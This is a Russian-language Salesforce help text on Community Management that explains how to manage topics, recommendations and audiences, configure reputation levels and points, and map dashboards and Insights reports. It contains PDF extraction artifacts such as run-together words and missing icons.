Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

“«Управление сообществами»

ИЛИ

“«Создание и настройка сообществ»

Для доступа к странице «Управление
сообществом»:

«Создание тем»Для создания тем:

«Объединение тем»Для объединения тем:

«Удаление тем»Для удаления тем:

«Редактирование тем»Для переименования тем:
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Помереувеличенияколичестватемсообществоможетнуждатьсявихсистематизации. Благодарястранице «Управление
сообществом», пользователи могут создавать, объединять, переименовывать и удалять темы в одном месте.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

2. Последовательно выберите пункты «Темы» > «Управление темами» слева.

3. Выполните одно из указанных ниже действий.

• Чтобы создать тему, щелкните «Создать».

• Чтобы объединить текущие темы, щелкните «Объединить».

Объединение темы инициирует автоматическуюпереадресацию текущих хэштегов в сообщениях. При слиянии
навигационной или специальной темы ее тип, изображение и любые взаимосвязи вложенных тем удаляются.

• Чтобы переименовать или удалить тему, щелкните значок .

При отсутствии темы для переименования или удаления воспользуйтесь поиском илищелкните «Показать
больше» под списком тем.

Совет: Для международных сообществ можно перевести названия навигационных и специальных тем. В меню
«Настройка» выберите пункт «Перевести». Затем выберите компонент настройки «Управляемая тема» и раскройте
сообщество для отображения названий основных тем.

Прим.: Темы поддерживаются только для статей на английском языке.

СМ. ТАКЖЕ:

Систематизация сообществ для самообслуживания посредством тем

Настройка навигационных тем

Настройка специальных тем
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Добавление тем в статьи и их удаление

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:
• “«Управление

сообществами»

ИЛИ

“«Создание и настройка
сообществ»

Для добавления или
удаления тем:
• «Создание тем»

Просто добавьте несколько тем любого типа в определенные статьи или быстро их
удалите, как только сообществу потребуются изменения.

Прим.: Темы поддерживаются только для статей на английском языке.

1. Щелкните в общем верхнем колонтитуле сообщества.

2. Последовательно выберите пункты «Темы» > «Управление статьями».

3. Дляпоиска статейвоспользуйтесьстрокойпоиска. Чтобыотфильтроватьрезультаты
поиска, выберите группу категорий данных, затем конкретную категорию.

4. Щелкнитепо статьеи введите темудляназначенияилищелкнитепо существующей
теме, чтобы удалить ее.
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Настройка рекомендаций в сообществах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:
• “«Управление

сообществами»

ИЛИ

“«Создание и настройка
сообществ»

Создайтерекомендациидлястимулированиязанятостисообществапутемпривлечения
пользователей к просмотру видеороликов, обучению и т. д. Редактирование данных
рекомендаций может выполняться на странице «Управление сообществом», где можно
сориентироватьконкретныегруппыпользователейииспользоватьканалыдляуказания
местоположения рекомендаций.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Рекомендации» > > «Рекомендации».

3. Выберите «Канал по умолчанию» или один из настраиваемых каналов.

Канал представляет собой способ группирования рекомендаций, позволяющий
определить место их отображения в сообществе.

Канал по умолчанию
Рекомендациинаканалепоумолчаниюотображаютсяв заранее заданныхместах,
например непосредственно на ленте в мобильном веб-приложении Salesforce1,
а также на начальной странице и странице «Сведения о вопросе» в сообществах,
использующих версию Summer’15 шаблона Napili или более позднюю.

Настраиваемый канал
Можно выбрать страницы для отображения этих рекомендаций. В конструкторе сообществ добавьте компонент
«Рекомендации» натустраницу, гденужноихотображать. Используйтередакторсвойствдлязаданиянастраиваемого
канала с рекомендацией.

С помощьюнастраиваемого канала можно отобразить рекомендацию для просмотра конкретных статей знаний
на странице описания продукта для предоставления клиентам дополнительной информации.

Чтобы изменить канал рекомендации, удалите рекомендацию и повторно создайте ее в другом канале.

4. Нажмите кнопку «Создать».

5. Заполните поля ниже.

• «Имя»: введите имя рекомендации на странице «Управление сообществом». Данное имя не отображается в
сообществе.

• «Изображение»: щелкните «Загрузить изображение» для добавления изображения.

• «Заголовок»: принеобходимости введите текст верхнего колонтитула, которыйотображается над изображением.

• «Описание»: введите подробный текст, содержащий инструкции к дальнейшим действиям.

• «Текст кнопки»: введите метку для кнопки в рекомендации.

• «https://»: введите URL-адрес, открываемый кнопкой.

• «Аудитория» — выберите аудиторию для рекомендации. Если не указать аудиторию, рекомендация будет
отображаться всем участникам сообщества.
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Совет: Для создания аудитории, которая отображается в этом раскрывающемся списке, на странице
«Управление сообществом» выберите «Рекомендации» > > «Аудитории» и нажмите «Создать».

• «Включено»: установите данныйфлажок для активации и отображения данной рекомендации в сообществах.

Снятиеданногофлажканеинициирует удалениерекомендаций, доступныхвлентахмобильноговеб-приложения
Salesforce1, но препятствует отображению новых рекомендаций. В сообществах, созданных на основе шаблона
Napili выпуска Summer'15 или более поздней версии, выключенные рекомендации больше не отображаются.

6. Нажмите кнопку «Сохранить».

Совет: Чтобы удалить рекомендацию, последовательно выберите пункты «Рекомендации» > > «Рекомендации»
на странице «Управление сообществом»ищелкнитеимянужнойрекомендации. Нажмите кнопку «Удалить» внизу
страницы сведений о рекомендации.

СМ. ТАКЖЕ:

Обновление шаблона сообщества

Целевая аудитория из участников сообщества для рекомендаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:
• “«Управление

сообществами»

ИЛИ

“«Создание и настройка
сообществ»

Создайте аудиторию из новых участников сообщества или используйте API для
управления настроенными списками участников аудитории.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Рекомендации» > > «Аудитории».

3. Нажмите кнопку «Создать».

4. Заполните поля ниже.

• «Имя»: введите имя аудитории на странице «Управление сообществом».

• Тип аудитории

– Чтобы создать аудиторию, исходя из времени, в течение которого
пользователи являются участниками сообщества, выберите «Создать
участников».

Введите количество дней, прошедших с момента регистрации участников
аудитории.

– Чтобы создать аудиторию на основе любого необходимого критерия,
выберите «Настраиваемый список».

Прим.: Управлениепринадлежностьюкаудиториидлянастраиваемыхсписковчерезпользовательский
интерфейс невозможно. Добавление и удаление участников осуществляется с помощью API.

5. Нажмите кнопку «Сохранить».
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Созданные аудитории отображаются в раскрывающемся списке «Аудитории» после создания рекомендации.

Совет: Чтобы удалить аудиторию, последовательно выберите пункты «Рекомендации» > > «Аудитории» на
странице «Управление сообществом» ищелкните имя нужной аудитории. Нажмите кнопку «Удалить» в нижней
частистраницысведенийобаудитории. Еслиудаляетсяаудитория, связаннаясрекомендацией, последняяотключается
и для аудитории устанавливается значение по умолчанию («Все участники сообщества»).

СМ. ТАКЖЕ:

Руководство разработчика Chatter REST API

Руководство разработчика Apex

Формирование занятости посредством уровней репутации

Общие сведения о репутации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Репутация пользователя в сообществе напрямую соответствует его активности. Чем
больше количество выполненных действий, тем выше текущий уровень репутации
пользователя.

Уровень репутации отображается на странице профиля пользователя, а также при
наведении указателя мыши на имя пользователя. Уровень репутации позволяет другим
участникам сообщества быстро определять степень влияния текущего пользователя.
Новому участнику сообщества назначается самый нижний уровень. По мере участия в
сообществе пользователю назначаются очки, а его уровень репутации постепенно
повышается. Сообщениеоповышенииуровнярепутациипубликуется вленту. Другими
словами, активное участие и обмен знаниямипозволяютповысить авторитет и влияние
пользователей в сообществе.

Действия, за выполнение которых участникам назначаются очки, определяются администратором. Он же определяет
количество очков для каждого действия.

Ниже перечислены стандартные действия, повышающие уровень репутации.

Ниже перечислены действия, повышающие уровень репутации.

• Публикация

• Комментирование

• Выбор понравившегося сообщения или комментария

• Публикация сообщения

• Публикация сообщений текущего пользователя другими людьми

• Комментирование сообщений текущего пользователя другими людьми

• Выбор понравившихся сообщений или комментариев текущего пользователя другими людьми

• Упоминание пользователя

• Упоминание другим пользователем

• Публикация вопроса

• Публикация ответа на вопрос

• Получение ответа

• Выбор ответа в качестве лучшего
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• Выбор собственного ответа в качестве лучшего другим пользователем

• Подтверждение компетентности другого пользователя по теме

• Подтверждение моей компетентности по теме другим пользователем

СМ. ТАКЖЕ:

Включение репутации в сообществе

Настройка уровней репутации

Настройка репутационных очков

Как вычисляется репутация сообщества?

Включение репутации в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров сообществ:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Включение репутации позволяет участникам сообщества получать награды за свои
достижения.

Менеджеры сообщества могут награждать отдельных участников за их достижения;
только менеджеры знают, что полученные награды вызывают спортивный интерес
участников сообщества, значительно повышая их активность. Включение репутации
инициирует включение стандартной системы очков и набора уровней репутации в
сообществе. Менеджеры сообщества могут настраивать метки и значения очков на
странице «Управление сообществом».

Участникимогутнакапливатьочки за выполнениедействий, выбранныхпринастройке
системы очков. Участнику, превышающему верхнее пороговое значение очков,
назначается следующий уровень. Уровень репутации отображается всем участникам
сообщества в профилепользователя, а такжепринаведении указателямышина егоимя.
Кроме того, профиль участника отображает общее количество очков.

Прим.: Включение репутации инициирует удаление влияния Chatter из раздела
«Влияние» страницы профиля.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Настройки».

3. Установитефлажок «Включитьнастройкуиотображениеуровнейрепутации»
и нажмите кнопку «Сохранить».

После включения репутации страница «Управление сообществом» предоставляет пользователям доступ к стандартной
системе очков и набору уровней репутации. Ниже перечислены стандартные репутационные очки.

ОчкиДействие

Занятость сообщества

1Написать сообщение
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ОчкиДействие

1Написать комментарий

5Получить комментарий

1Выбрать предпочтение

5Получить предпочтение

1Опубликовать сообщение

5Кто-то публикует сообщение пользователя

1

Очки назначаются за каждое упоминание, добавленное в
сообщение.

Упомянуть пользователя

5Получить упоминание

Вопросы и ответы

1Задать вопрос

5Ответить на вопрос

5Получить ответ

5Пометить ответ как лучший

20Ответ помечен как лучший

База знаний

5Подтверждение компетентности другого пользователя по
теме

20Подтверждение моей компетентности по теме другим
пользователем

Если выбранныйшаблон сообщества не поддерживает Chatter, то меню «Репутация» не отображается на странице
«Управление сообществом». Чтобы открыть меню «Репутация», последовательно выберите пункты
«Администрирование» > «Настройки» и установите флажок «Показать все параметры на странице управления
сообществом».

СМ. ТАКЖЕ:

Общие сведения о репутации

Настройка уровней репутации

Настройка репутационных очков

Как вычисляется репутация сообщества?
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Настройка уровней репутации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для обновления уровней
репутации:
• “«Управление

сообществами»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Принеобходимостиобновитестандартныеуровнирепутациивсоответствиистекущими
требованиями сообщества.

При включении репутации сообществу предоставляется 10 стандартных уровней. При
необходимости добавьте или удалите уровни, назначьте имя каждому уровню, а также
обновите диапазон очков и изображение для каждого уровня.

Прим.: Сообщество должно использовать не менее трех, но не более 50 уровней
репутации.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Последовательно выберите пункты «Репутация» > «Уровни репутации».

Ниже перечислены доступные действия.

• Загрузите собственное изображение для каждого уровня репутации. Чтобы
просмотреть графический файл и загрузить новое изображение, щелкните
стандартное изображение.

Прим.: Пользовательский интерфейс Salesforce не позволяет
восстанавливать стандартные изображения уровней репутации. Чтобы
выполнить данное действие, воспользуйтесь интерфейсом Chatter REST API.

• Введитеимядля каждогоуровня (например, «Новичок», «Любитель» и «Эксперт»).
Впротивномслучае системаиспользует стандартныеимена. Например, «Уровень
1», «Уровень 2» и «Уровень 3».

• Измените диапазон очков для каждого уровня.

Обновление верхнего значения диапазона очков одного уровняинициирует автоматическоеизменениенижнего
значения диапазона очков следующего уровня при сохранении.

• Чтобы добавить другие уровни, щелкните «Добавить уровень» под списком уровней.

• Чтобы удалить уровень, щелкните значок напротив нужного уровня.

3. Чтобы применить внесенные изменения, нажмите кнопку «Сохранить».

Теперь можете обновить систему очков для сообщества. Система очков определяет количество очков, назначаемых
пользователям за выполнение определенных действий или влияние на активность других участников. Сообщения о
повышении уровня репутации публикуются в ленты участников.

Чтобы международные участники сообщества могли просматривать свои уровни репутации на родном языке, можно
перевести названия уровней репутации. Выберите в средстве перевода компонент настройки «Уровень репутации» и
раскройте узел рядом с названием вашего сообщества.

СМ. ТАКЖЕ:

Общие сведения о репутации

Включение репутации в сообществе

Настройка репутационных очков
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Настройка репутационных очков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для обновления
репутационных очков:
• “«Управление

сообществами»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Настройка системы очков позволяет участникам сообщества получать награды за свои
достижения.

При включении репутации сообществу предоставляется стандартная система очков.
При выполнении соответствующих действий общее количество очков повышается, а
пользователю назначается следующий уровень репутации.

Прим.: Очкимогут накапливаться только активнымипользователями. Например,
если активному пользователюнравится сообщение неактивного пользователя, то
активный пользователь получает 1 очко, а неактивный пользователь не получает
очков.

Таблица ниже содержит стандартные события и очки.

ОчкиДействие

Занятость сообщества

1Написать сообщение

1Написать комментарий

5Получить комментарий

1Выбрать предпочтение

5Получить предпочтение

1Опубликовать сообщение

5Кто-топубликуетсообщениепользователя

1

Очкиназначаются за каждоеупоминание,
добавленное в сообщение.

Упомянуть пользователя

5Получить упоминание

Вопросы и ответы

1Задать вопрос

5Ответить на вопрос

5Получить ответ

5Пометить ответ как лучший

20Ответ помечен как лучший

База знаний

5Подтверждение компетентности другого
пользователя по теме
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ОчкиДействие

20Подтверждение моей компетентности по теме другим
пользователем

Вопросы и ответы в ленте сообщества не должны путаться с функцией Chatter Answers.

Прим.: Организациям, включившимрепутациюдо выпуска Winter'15, действия, связанные с вопросамииответами,
будут доступны на момент выпуска, а их стандартные значения очков будут равны нулю. Внедрение выпуска не
повлияет на текущие репутационные очки пользователей; очки за выполнение данных действий будут назначаться
пользователям только после настройки их значений.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Созданиеинастройкасообществ» предоставляетучастникамсообществадоступкстранице «Управление
сообществом» на странице «Все сообщества» меню «Настройка».

2. Последовательно выберите пункты «Репутация» > «Репутационные очки».

3. Обновитеочкидлякаждогодействия. Чтобыотменитьназначениеочковзаопределенноедействие, выберите значение
«0».

4. Нажмите кнопку «Сохранить».

Общее количество очков отображается на странице профиля под фотографией. Общее количество очков доступно
каждому участнику сообщества.

Совет: Чтобы обновить репутационные очки для участника сообщества, воспользуйтесь интерфейсом Salesforce
API. При необходимости воспользуйтесь триггерами Apex для отправки настраиваемых уведомлений на основе
изменений, внесенных в репутационные очки.

СМ. ТАКЖЕ:

Общие сведения о репутации

Включение репутации в сообществе

Настройка уровней репутации

Как вычисляется репутация сообщества?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Уровень репутации, отображаемый профилем пользователя, определяется общим
количеством очков.

Пользователимогутнакапливатьочкиза выполнениедействий, выбранныхменеджером
сообщества при настройке системы очков. Также пользователи могут получать очки за
использование их сообщений или комментариев другими участниками сообщества.
Например, пользователи могут получать 5 очков за создание сообщения и 10 очков за
использование сообщения другим участником, так как оно побудило другого
пользователя к активному участию.

Прим.: Очкимогут накапливаться только активнымипользователями. Например,
если активному пользователюнравится сообщение неактивного пользователя, то
активный пользователь получает 1 очко, а неактивный пользователь не получает
очков.
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Ниже перечислены стандартные значения очков. Помните, что данные значения могут быть изменены менеджером
сообщества. Дополнительную информацию можно получить у менеджера сообщества.

ОчкиДействие

Занятость сообщества

1Написать сообщение

1Написать комментарий

5Получить комментарий

1Выбрать предпочтение

5Получить предпочтение

1Опубликовать сообщение

5Кто-то публикует сообщение пользователя

1

Очки назначаются за каждое упоминание, добавленное в
сообщение.

Упомянуть пользователя

5Получить упоминание

Вопросы и ответы

1Задать вопрос

5Ответить на вопрос

5Получить ответ

5Пометить ответ как лучший

20Ответ помечен как лучший

База знаний

5Подтверждение компетентности другого пользователя по
теме

20Подтверждение моей компетентности по теме другим
пользователем

СМ. ТАКЖЕ:

Общие сведения о репутации

Включение репутации в сообществе
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Универсальное отслеживание посредством панелей мониторинга
сообщества

Включение и соотнесение панелей мониторинга для менеджеров сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для соотнесения панелей
мониторинга со страницей
«Управление сообществом»:
• «Создание и настройка

сообществ» ИЛИ
«Управление
сообществами»

И

«Управление панелями
мониторинга в
общедоступных папках»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Менеджеры сообщества могут использовать панели мониторинга для оценки
эффективности их сообществ. Чтобы менеджеры сообщества всегда были в курсе
последних событий, можно соотнести панель мониторинга с начальной страницей
«Управление сообществом». При необходимости соотнесите настраиваемые панели
мониторинга или воспользуйтесь панелями мониторинга, доступными в пакете
AppExchange. У каждого сообщества могут быть свои панели мониторинга.

Вы можете выбрать любую доступную панель мониторинга, однако убедитесь, что
данная панель мониторинга также доступна менеджерам сообщества.

All dashboards in Community Management display as Lightning dashboards, regardless of what
types of dashboard you’re using or what interface your org is using. For example, a Salesforce Classic
dashboard gets displayed as a Lightning dashboard in Community Management. Remember that
although dashboards render in a Lightning view in Community Management, the Communities
product isn’t supported in Lightning Experience. Not all browsers support this Lightning view, so
make sure you’re using a supported browser.

Совет: При необходимости загрузите и установите пакет «Панели мониторинга
сообществ Salesforce», содержащий предварительно настроенные панели
мониторинга, из каталога AppExchange.

Если организация использует пакет «Панели мониторинга сообществ Salesforce
Dashboards», то каждая страница панели мониторинга по умолчанию соотносится с
панелью мониторинга из пакета. При необходимости данные значения могут быть
перезаписаны.

Для соотнесения или обновления панелей мониторинга на странице «Управление
сообществом»:

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Последовательно выберите пункты «Панели мониторинга» > «Параметры».

3. Выберите нужную панель мониторинга для каждой страницы.

Панель мониторинга, соотнесенная с начальной страницей, отображается на начальной странице управления
сообществом.

4. Нажмите кнопку «Сохранить».

Панели мониторинга доступны менеджерам сообществ при открытии раздела «Панели мониторинга» или при
переходе на начальную страницу «Управление сообществом».
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Чтобыпроверить соотнесенияпанелеймониторинга, откройте раздел «Панелимониторинга»ищелкнитеимя каждой
страницы. Если панель мониторинга соотнесена с начальной страницей, ее также следует проверить.

СМ. ТАКЖЕ:

Создание панели мониторинга для отображения на странице «Управление сообществом»

Просмотр панелей мониторинга в управлении сообществом

Создание панели мониторинга для отображения на странице «Управление
сообществом»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

Для создания и совместного
использования панелей
мониторинга:
• «Управление панелями

мониторинга в
общедоступных папках»

Настранице «Управлениесообществом»можноотображатьлюбуюпанельмониторинга.
Однакомырекомендуемсоздаватьихнаосноветиповнастраиваемыхотчетов, доступных
для сообществ.

Совет: При необходимости загрузите и установите пакет «Панели мониторинга
сообществ Salesforce», содержащий предварительно настроенные панели
мониторинга, из каталога AppExchange.

Все панели мониторинга на странице «Управление сообществом» отображаются как
панели мониторинга Lightning, независимо от типа используемых панелей и
применяемого в организации интерфейса. Например, панель мониторинга Salesforce
Classic будет отображаться как панель мониторинга Lightning на странице «Управление
сообществом». Учтите, что, хотя панели мониторинга отображаются в представлении
Lightning на странице «Управление сообществом», продукт «Сообщества» не
поддерживается в Lightning Experience. Не все обозреватели поддерживают это
представление Lightning, так что убедитесь в использовании поддерживаемого
обозревателя.

С помощью следующего процесса создайте панели мониторинга для отображения на
странице «Управление сообществом».

1. Создайте типы настраиваемых отчетов на основе объекта «Сети».

Отчеты и панели мониторинга на основе объекта «Сети» отображают сведения о
сообществе на странице «Управление сообществом».

Прим.: При необходимости создайте панели мониторинга на основе других
объектовиразрешитеихотображениенастранице «Управлениесообществом».
Помните, что данные панели мониторинга будут отображать сведения всей
организации, а не только используемого сообщества.

• Выберите объект «Сети» в качестве основного.

• Выберите дочерний объект.

– Сообщения Chatter

– Новые версии ленты

– Группы

– Аудиты сети

– Ежедневные показатели действий сети

– Участники сети

– Ежедневные показатели участников сети
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– Модерации сети

– Ежедневные показатели общедоступного использования сети

– Ежедневные показатели уникальных авторов сети

– Показатель рекомендации

– Назначения темы

– Темы

2. Чтобы создать отчет, воспользуйтесь типом настраиваемого отчета.

Чтобы гарантировать динамическое отображение данных для используемого сообщества, убедитесь, что отчет не
фильтруется по коду сети. При добавлении кода сети отчет отображает данные только для выбранного сообщества,
независимо от сообщества, используемого для его просмотра.

3. Создайте панель мониторинга с компонентами. Выберите отчет в качестве типа источника.

• Добавьте компонент для каждого нужного отчета.

• Найдите нужный отчет на вкладке «Источники данных» и добавьте его в компонент.

Для оптимального отображения панели мониторинга Salesforce Classic в представлении Lightning, используемом на
странице «Управление сообществом», убедитесь, что панель мониторинга отвечает следующим требованиям:

• содержит до 20 отчетов, размещенные в трех столбцах;

• не содержит неподдерживаемые диаграммы (коническую, точечную, мультипараметрическую и секторную, а
также таблицы ишкалы).

Список компонентов панели мониторинга, не поддерживаемых в представлении Lightning, см. в разделе Отчеты
и панели мониторинга: ограничения для Lightning Experience.

Прим.: Показатели поддерживаются в представлении Lightning, но отображаются в виде крупных плиток. Не
рекомендуется включать показатели в панели мониторинга.

4. Откройте совместный доступ менеджерам сообщества к папке с сохраненной панелью мониторинга.

5. Чтобысоотнестипанельмониторинга, последовательновыберитепункты «Панелимониторинга» > «Параметры»
на странице «Управление сообществом».

При открытии страницы «Управление сообществом» менеджером сообщества панель мониторинга отображается в
разделе «Панели мониторинга». Если панель мониторинга соотнесена с начальной страницей, панель мониторинга
отобразится здесь.

Панели мониторинга, доступные на странице «Управление сообществом», не обновляются автоматически. Чтобы
просмотреть последние данные, нажмите кнопку «Обновить». Открытие недавно обновленной панели мониторинга
инициирует отображение глобально кэшированных данных, сохраненных при последнем обновлении. Внешние
пользователи, имеющие доступ суперпользователя, могут обновлять панели мониторинга, настроенные посредством
параметров «Запустить в качестве определенного пользователя» и «Запустить в качестве пользователя, выполнившего
вход в систему», не более 100 раз в день для одной организации. Данное ограничение не учитывает запланированные и
автоматические обновления. Ограничения по обновлению отсутствуют для внутренних пользователей.
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Помните, что панели мониторинга можно настроить в любое время. Для изменения панели мониторинга перейдите на
вкладку «Панели мониторинга» во внутренней организации Salesforce и выберите панель мониторинга из списка.

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета

Создание отчета

Отслеживание действий сообщества

Предоставление общего доступа к папке отчетов или панелей мониторинга

Просмотр панелей мониторинга в управлении сообществом

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра панелей
мониторинга на странице
«Управление сообществом»:
• “«Управление

сообществами»

ИЛИ

“«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Панели мониторинга, доступные в управлении сообществом, позволяют отслеживать
состояние сообщества.

Все панели мониторинга на странице «Управление сообществом» отображаются как
панели мониторинга Lightning, независимо от типа используемых панелей и
применяемого в организации интерфейса. Например, панель мониторинга Salesforce
Classic будет отображаться как панель мониторинга Lightning на странице «Управление
сообществом». Учтите, что, хотя панели мониторинга отображаются в представлении
Lightning на странице «Управление сообществом», продукт «Сообщества» не
поддерживается в Lightning Experience. Не все обозреватели поддерживают это
представление Lightning, так что убедитесь в использовании поддерживаемого
обозревателя.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Щелкните «Панели мониторинга».

Прим.: Панели мониторинга соотносятся администратором. Если раздел
«Панели мониторинга» не отображается, он не соотнесен с вашим
сообществом.

Страницыссоотнесеннымипанелямимониторингаотображаютсявразделе«Панели
мониторинга» или на начальной странице.

3. Щелкните нужную страницу панели мониторинга.
Данное действие инициирует отображение панели мониторинга. Чтобы обновить
данные панели мониторинга, нажмите кнопку «Обновить».

Панели мониторинга, доступные на странице «Управление сообществом», не
обновляютсяавтоматически. Чтобыпросмотретьпоследниеданные, нажмитекнопку
«Обновить». Открытие недавно обновленной панели мониторинга инициирует
отображение глобально кэшированных данных, сохраненных при последнем обновлении. Внешние пользователи,
имеющие доступ суперпользователя, могут обновлять панели мониторинга, настроенные посредством параметров
«Запустить в качестве определенного пользователя» и «Запустить в качестве пользователя, выполнившего вход в
систему», не более 100 раз в день для одной организации. Данное ограничение не учитывает запланированные и
автоматические обновления. Ограничения по обновлению отсутствуют для внутренних пользователей.

4. Для просмотра связанного отчета нажмите «Просмотреть отчет» на панели мониторинга.
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Учтите, что на панелях мониторинга настроено отображение данных сообщества.

Чтобы гарантировать динамическое отображение данных для используемого сообщества, убедитесь, что отчет не
фильтруется по коду сети. При добавлении кода сети отчет отображает данные только для выбранного сообщества,
независимо от сообщества, используемого для его просмотра.

Помните, что панель мониторинга можно настроить в любое время. Для изменения панели мониторинга перейдите на
вкладку «Панели мониторинга» во внутренней организации Salesforce и выберите панель мониторинга из списка.

СМ. ТАКЖЕ:

Включение и соотнесение панелей мониторинга для менеджеров сообщества

Insights для менеджеров сообщества

Что такое Insights?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Insights — это отчеты, позволяющие менеджерам сообщества отслеживать и
детализировать действия для принятия дальнейших мер. Insights обеспечивает быстрое
стимулирование занятости сообщества и внедрение среди участников. При
необходимости настройте Insights для отслеживания новых участников, вопросов без
ответов, новых групп, самых обсуждаемых тем и даже недавних влияний Chatter.

Пример: Отчет Insights, настроенный для отслеживания новых участников,
позволяет менеджерам сообщества быстро открывать профиль нового участника
для отправки приветственного сообщения.

Также они могут просматривать другие отчеты об участниках прямо на странице
Insights посредством раскрывающегося меню.
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Прим.: Выполните автоматическую настройку! Воспользуйтесь стандартным отчетом Insights из пакета
Salesforce Communities Dashboards, доступного для загрузки в каталоге AppExchange. Для применения
предварительно настроенных отчетов «Подробные сведения» сообщество должно использовать Chatter.

Аналитические отчеты, представленные в пакете, являются полностьюнастраиваемыми. Принеобходимости
измените стандартные имена страниц Insights, соотнесения папок отчетов или столбцы и фильтры отчетов
Insights. Другимисловами, пользователимогутбеспрепятственнонастраиватьилиизменять содержимоепакета.
Данные действия не влияют на наши рабочие процессы.

СМ. ТАКЖЕ:

Включение и соотнесение подробных сведений для менеджеров сообществ

Создание подробных сведений для отображения на странице «Управление сообществом»

Просмотр и настройка подробных сведений на странице «Управление сообществом»
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Включение и соотнесение подробных сведений для менеджеров сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для соотнесенияподробных
сведений на странице
«Управление сообществом»:
• “«Управление

сообществами» ИЛИ
«Создание и настройка
сообществ»

И

«Управление отчетами в
общедоступных папках»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Менеджеры сообществ могут использовать подробные сведения для отслеживания
недавнихдействийиустановленияееисточникадля выполнениядальнейшихдействий.
Для быстрого запуска и выполнения задач рекомендуем использовать предварительно
настроенные подробные сведения из пакета AppExchange. Также можно создавать и
